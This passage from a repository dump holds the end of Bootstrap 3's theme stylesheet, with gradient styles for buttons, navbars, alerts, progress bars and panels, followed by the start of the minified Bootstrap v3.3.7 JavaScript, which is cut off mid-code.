 91 | fieldset[disabled] .btn-default:hover,
 92 | .btn-default.disabled:focus,
 93 | .btn-default[disabled]:focus,
 94 | fieldset[disabled] .btn-default:focus,
 95 | .btn-default.disabled.focus,
 96 | .btn-default[disabled].focus,
 97 | fieldset[disabled] .btn-default.focus,
 98 | .btn-default.disabled:active,
 99 | .btn-default[disabled]:active,
100 | fieldset[disabled] .btn-default:active,
101 | .btn-default.disabled.active,
102 | .btn-default[disabled].active,
103 | fieldset[disabled] .btn-default.active {
104 |   background-color: #e0e0e0;
105 |   background-image: none;
106 | }
107 | .btn-primary {
108 |   background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);
109 |   background-image:      -o-linear-gradient(top, #337ab7 0%, #265a88 100%);
110 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88));
111 |   background-image:         linear-gradient(to bottom, #337ab7 0%, #265a88 100%);
112 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);
113 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
114 |   background-repeat: repeat-x;
115 |   border-color: #245580;
116 | }
117 | .btn-primary:hover,
118 | .btn-primary:focus {
119 |   background-color: #265a88;
120 |   background-position: 0 -15px;
121 | }
122 | .btn-primary:active,
123 | .btn-primary.active {
124 |   background-color: #265a88;
125 |   border-color: #245580;
126 | }
127 | .btn-primary.disabled,
128 | .btn-primary[disabled],
129 | fieldset[disabled] .btn-primary,
130 | .btn-primary.disabled:hover,
131 | .btn-primary[disabled]:hover,
132 | fieldset[disabled] .btn-primary:hover,
133 | .btn-primary.disabled:focus,
134 | .btn-primary[disabled]:focus,
135 | fieldset[disabled] .btn-primary:focus,
136 | .btn-primary.disabled.focus,
137 | .btn-primary[disabled].focus,
138 | fieldset[disabled] .btn-primary.focus,
139 | .btn-primary.disabled:active,
140 | .btn-primary[disabled]:active,
141 | fieldset[disabled] .btn-primary:active,
142 | .btn-primary.disabled.active,
143 | .btn-primary[disabled].active,
144 | fieldset[disabled] .btn-primary.active {
145 |   background-color: #265a88;
146 |   background-image: none;
147 | }
148 | .btn-success {
149 |   background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);
150 |   background-image:      -o-linear-gradient(top, #5cb85c 0%, #419641 100%);
151 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641));
152 |   background-image:         linear-gradient(to bottom, #5cb85c 0%, #419641 100%);
153 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);
154 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
155 |   background-repeat: repeat-x;
156 |   border-color: #3e8f3e;
157 | }
158 | .btn-success:hover,
159 | .btn-success:focus {
160 |   background-color: #419641;
161 |   background-position: 0 -15px;
162 | }
163 | .btn-success:active,
164 | .btn-success.active {
165 |   background-color: #419641;
166 |   border-color: #3e8f3e;
167 | }
168 | .btn-success.disabled,
169 | .btn-success[disabled],
170 | fieldset[disabled] .btn-success,
171 | .btn-success.disabled:hover,
172 | .btn-success[disabled]:hover,
173 | fieldset[disabled] .btn-success:hover,
174 | .btn-success.disabled:focus,
175 | .btn-success[disabled]:focus,
176 | fieldset[disabled] .btn-success:focus,
177 | .btn-success.disabled.focus,
178 | .btn-success[disabled].focus,
179 | fieldset[disabled] .btn-success.focus,
180 | .btn-success.disabled:active,
181 | .btn-success[disabled]:active,
182 | fieldset[disabled] .btn-success:active,
183 | .btn-success.disabled.active,
184 | .btn-success[disabled].active,
185 | fieldset[disabled] .btn-success.active {
186 |   background-color: #419641;
187 |   background-image: none;
188 | }
189 | .btn-info {
190 |   background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);
191 |   background-image:      -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);
192 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2));
193 |   background-image:         linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);
194 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);
195 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
196 |   background-repeat: repeat-x;
197 |   border-color: #28a4c9;
198 | }
199 | .btn-info:hover,
200 | .btn-info:focus {
201 |   background-color: #2aabd2;
202 |   background-position: 0 -15px;
203 | }
204 | .btn-info:active,
205 | .btn-info.active {
206 |   background-color: #2aabd2;
207 |   border-color: #28a4c9;
208 | }
209 | .btn-info.disabled,
210 | .btn-info[disabled],
211 | fieldset[disabled] .btn-info,
212 | .btn-info.disabled:hover,
213 | .btn-info[disabled]:hover,
214 | fieldset[disabled] .btn-info:hover,
215 | .btn-info.disabled:focus,
216 | .btn-info[disabled]:focus,
217 | fieldset[disabled] .btn-info:focus,
218 | .btn-info.disabled.focus,
219 | .btn-info[disabled].focus,
220 | fieldset[disabled] .btn-info.focus,
221 | .btn-info.disabled:active,
222 | .btn-info[disabled]:active,
223 | fieldset[disabled] .btn-info:active,
224 | .btn-info.disabled.active,
225 | .btn-info[disabled].active,
226 | fieldset[disabled] .btn-info.active {
227 |   background-color: #2aabd2;
228 |   background-image: none;
229 | }
230 | .btn-warning {
231 |   background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);
232 |   background-image:      -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);
233 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316));
234 |   background-image:         linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);
235 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);
236 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
237 |   background-repeat: repeat-x;
238 |   border-color: #e38d13;
239 | }
240 | .btn-warning:hover,
241 | .btn-warning:focus {
242 |   background-color: #eb9316;
243 |   background-position: 0 -15px;
244 | }
245 | .btn-warning:active,
246 | .btn-warning.active {
247 |   background-color: #eb9316;
248 |   border-color: #e38d13;
249 | }
250 | .btn-warning.disabled,
251 | .btn-warning[disabled],
252 | fieldset[disabled] .btn-warning,
253 | .btn-warning.disabled:hover,
254 | .btn-warning[disabled]:hover,
255 | fieldset[disabled] .btn-warning:hover,
256 | .btn-warning.disabled:focus,
257 | .btn-warning[disabled]:focus,
258 | fieldset[disabled] .btn-warning:focus,
259 | .btn-warning.disabled.focus,
260 | .btn-warning[disabled].focus,
261 | fieldset[disabled] .btn-warning.focus,
262 | .btn-warning.disabled:active,
263 | .btn-warning[disabled]:active,
264 | fieldset[disabled] .btn-warning:active,
265 | .btn-warning.disabled.active,
266 | .btn-warning[disabled].active,
267 | fieldset[disabled] .btn-warning.active {
268 |   background-color: #eb9316;
269 |   background-image: none;
270 | }
271 | .btn-danger {
272 |   background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);
273 |   background-image:      -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);
274 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a));
275 |   background-image:         linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);
276 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);
277 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
278 |   background-repeat: repeat-x;
279 |   border-color: #b92c28;
280 | }
281 | .btn-danger:hover,
282 | .btn-danger:focus {
283 |   background-color: #c12e2a;
284 |   background-position: 0 -15px;
285 | }
286 | .btn-danger:active,
287 | .btn-danger.active {
288 |   background-color: #c12e2a;
289 |   border-color: #b92c28;
290 | }
291 | .btn-danger.disabled,
292 | .btn-danger[disabled],
293 | fieldset[disabled] .btn-danger,
294 | .btn-danger.disabled:hover,
295 | .btn-danger[disabled]:hover,
296 | fieldset[disabled] .btn-danger:hover,
297 | .btn-danger.disabled:focus,
298 | .btn-danger[disabled]:focus,
299 | fieldset[disabled] .btn-danger:focus,
300 | .btn-danger.disabled.focus,
301 | .btn-danger[disabled].focus,
302 | fieldset[disabled] .btn-danger.focus,
303 | .btn-danger.disabled:active,
304 | .btn-danger[disabled]:active,
305 | fieldset[disabled] .btn-danger:active,
306 | .btn-danger.disabled.active,
307 | .btn-danger[disabled].active,
308 | fieldset[disabled] .btn-danger.active {
309 |   background-color: #c12e2a;
310 |   background-image: none;
311 | }
312 | .thumbnail,
313 | .img-thumbnail {
314 |   -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
315 |           box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
316 | }
317 | .dropdown-menu > li > a:hover,
318 | .dropdown-menu > li > a:focus {
319 |   background-color: #e8e8e8;
320 |   background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
321 |   background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
322 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));
323 |   background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);
324 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);
325 |   background-repeat: repeat-x;
326 | }
327 | .dropdown-menu > .active > a,
328 | .dropdown-menu > .active > a:hover,
329 | .dropdown-menu > .active > a:focus {
330 |   background-color: #2e6da4;
331 |   background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
332 |   background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
333 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));
334 |   background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);
335 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);
336 |   background-repeat: repeat-x;
337 | }
338 | .navbar-default {
339 |   background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%);
340 |   background-image:      -o-linear-gradient(top, #fff 0%, #f8f8f8 100%);
341 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8));
342 |   background-image:         linear-gradient(to bottom, #fff 0%, #f8f8f8 100%);
343 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);
344 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
345 |   background-repeat: repeat-x;
346 |   border-radius: 4px;
347 |   -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);
348 |           box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);
349 | }
350 | .navbar-default .navbar-nav > .open > a,
351 | .navbar-default .navbar-nav > .active > a {
352 |   background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);
353 |   background-image:      -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);
354 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2));
355 |   background-image:         linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);
356 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);
357 |   background-repeat: repeat-x;
358 |   -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);
359 |           box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);
360 | }
361 | .navbar-brand,
362 | .navbar-nav > li > a {
363 |   text-shadow: 0 1px 0 rgba(255, 255, 255, .25);
364 | }
365 | .navbar-inverse {
366 |   background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);
367 |   background-image:      -o-linear-gradient(top, #3c3c3c 0%, #222 100%);
368 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222));
369 |   background-image:         linear-gradient(to bottom, #3c3c3c 0%, #222 100%);
370 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);
371 |   filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
372 |   background-repeat: repeat-x;
373 |   border-radius: 4px;
374 | }
375 | .navbar-inverse .navbar-nav > .open > a,
376 | .navbar-inverse .navbar-nav > .active > a {
377 |   background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);
378 |   background-image:      -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);
379 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f));
380 |   background-image:         linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);
381 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);
382 |   background-repeat: repeat-x;
383 |   -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);
384 |           box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);
385 | }
386 | .navbar-inverse .navbar-brand,
387 | .navbar-inverse .navbar-nav > li > a {
388 |   text-shadow: 0 -1px 0 rgba(0, 0, 0, .25);
389 | }
390 | .navbar-static-top,
391 | .navbar-fixed-top,
392 | .navbar-fixed-bottom {
393 |   border-radius: 0;
394 | }
395 | @media (max-width: 767px) {
396 |   .navbar .navbar-nav .open .dropdown-menu > .active > a,
397 |   .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,
398 |   .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {
399 |     color: #fff;
400 |     background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
401 |     background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
402 |     background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));
403 |     background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);
404 |     filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);
405 |     background-repeat: repeat-x;
406 |   }
407 | }
408 | .alert {
409 |   text-shadow: 0 1px 0 rgba(255, 255, 255, .2);
410 |   -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);
411 |           box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);
412 | }
413 | .alert-success {
414 |   background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);
415 |   background-image:      -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);
416 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc));
417 |   background-image:         linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);
418 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);
419 |   background-repeat: repeat-x;
420 |   border-color: #b2dba1;
421 | }
422 | .alert-info {
423 |   background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);
424 |   background-image:      -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);
425 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0));
426 |   background-image:         linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);
427 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);
428 |   background-repeat: repeat-x;
429 |   border-color: #9acfea;
430 | }
431 | .alert-warning {
432 |   background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);
433 |   background-image:      -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);
434 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0));
435 |   background-image:         linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);
436 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);
437 |   background-repeat: repeat-x;
438 |   border-color: #f5e79e;
439 | }
440 | .alert-danger {
441 |   background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);
442 |   background-image:      -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);
443 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3));
444 |   background-image:         linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);
445 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);
446 |   background-repeat: repeat-x;
447 |   border-color: #dca7a7;
448 | }
449 | .progress {
450 |   background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);
451 |   background-image:      -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);
452 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5));
453 |   background-image:         linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);
454 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);
455 |   background-repeat: repeat-x;
456 | }
457 | .progress-bar {
458 |   background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);
459 |   background-image:      -o-linear-gradient(top, #337ab7 0%, #286090 100%);
460 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090));
461 |   background-image:         linear-gradient(to bottom, #337ab7 0%, #286090 100%);
462 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);
463 |   background-repeat: repeat-x;
464 | }
465 | .progress-bar-success {
466 |   background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);
467 |   background-image:      -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);
468 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44));
469 |   background-image:         linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);
470 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);
471 |   background-repeat: repeat-x;
472 | }
473 | .progress-bar-info {
474 |   background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);
475 |   background-image:      -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);
476 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5));
477 |   background-image:         linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);
478 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);
479 |   background-repeat: repeat-x;
480 | }
481 | .progress-bar-warning {
482 |   background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);
483 |   background-image:      -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);
484 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f));
485 |   background-image:         linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);
486 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);
487 |   background-repeat: repeat-x;
488 | }
489 | .progress-bar-danger {
490 |   background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);
491 |   background-image:      -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);
492 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c));
493 |   background-image:         linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);
494 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);
495 |   background-repeat: repeat-x;
496 | }
497 | .progress-bar-striped {
498 |   background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
499 |   background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
500 |   background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
501 | }
502 | .list-group {
503 |   border-radius: 4px;
504 |   -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
505 |           box-shadow: 0 1px 2px rgba(0, 0, 0, .075);
506 | }
507 | .list-group-item.active,
508 | .list-group-item.active:hover,
509 | .list-group-item.active:focus {
510 |   text-shadow: 0 -1px 0 #286090;
511 |   background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);
512 |   background-image:      -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);
513 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a));
514 |   background-image:         linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);
515 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);
516 |   background-repeat: repeat-x;
517 |   border-color: #2b669a;
518 | }
519 | .list-group-item.active .badge,
520 | .list-group-item.active:hover .badge,
521 | .list-group-item.active:focus .badge {
522 |   text-shadow: none;
523 | }
524 | .panel {
525 |   -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05);
526 |           box-shadow: 0 1px 2px rgba(0, 0, 0, .05);
527 | }
528 | .panel-default > .panel-heading {
529 |   background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
530 |   background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);
531 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));
532 |   background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);
533 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);
534 |   background-repeat: repeat-x;
535 | }
536 | .panel-primary > .panel-heading {
537 |   background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
538 |   background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);
539 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));
540 |   background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);
541 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);
542 |   background-repeat: repeat-x;
543 | }
544 | .panel-success > .panel-heading {
545 |   background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);
546 |   background-image:      -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);
547 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6));
548 |   background-image:         linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);
549 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);
550 |   background-repeat: repeat-x;
551 | }
552 | .panel-info > .panel-heading {
553 |   background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);
554 |   background-image:      -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);
555 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3));
556 |   background-image:         linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);
557 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);
558 |   background-repeat: repeat-x;
559 | }
560 | .panel-warning > .panel-heading {
561 |   background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);
562 |   background-image:      -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);
563 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc));
564 |   background-image:         linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);
565 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);
566 |   background-repeat: repeat-x;
567 | }
568 | .panel-danger > .panel-heading {
569 |   background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);
570 |   background-image:      -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);
571 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc));
572 |   background-image:         linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);
573 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);
574 |   background-repeat: repeat-x;
575 | }
576 | .well {
577 |   background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);
578 |   background-image:      -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);
579 |   background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5));
580 |   background-image:         linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);
581 |   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);
582 |   background-repeat: repeat-x;
583 |   border-color: #dcdcdc;
584 |   -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);
585 |           box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);
586 | }
587 | /*# sourceMappingURL=bootstrap-theme.css.map */
588 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/js/bootstrap.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 |  * Bootstrap v3.3.7 (http://getbootstrap.com)
3 |  * Copyright 2011-2017 Twitter, Inc.
4 |  * Licensed under the MIT license
5 |  */
6 | if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){if(a(b.target).is(this))return b.handleObj.handler.apply(this,arguments)}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.7",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.7",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c).prop(c,!0)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c).prop(c,!1))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else 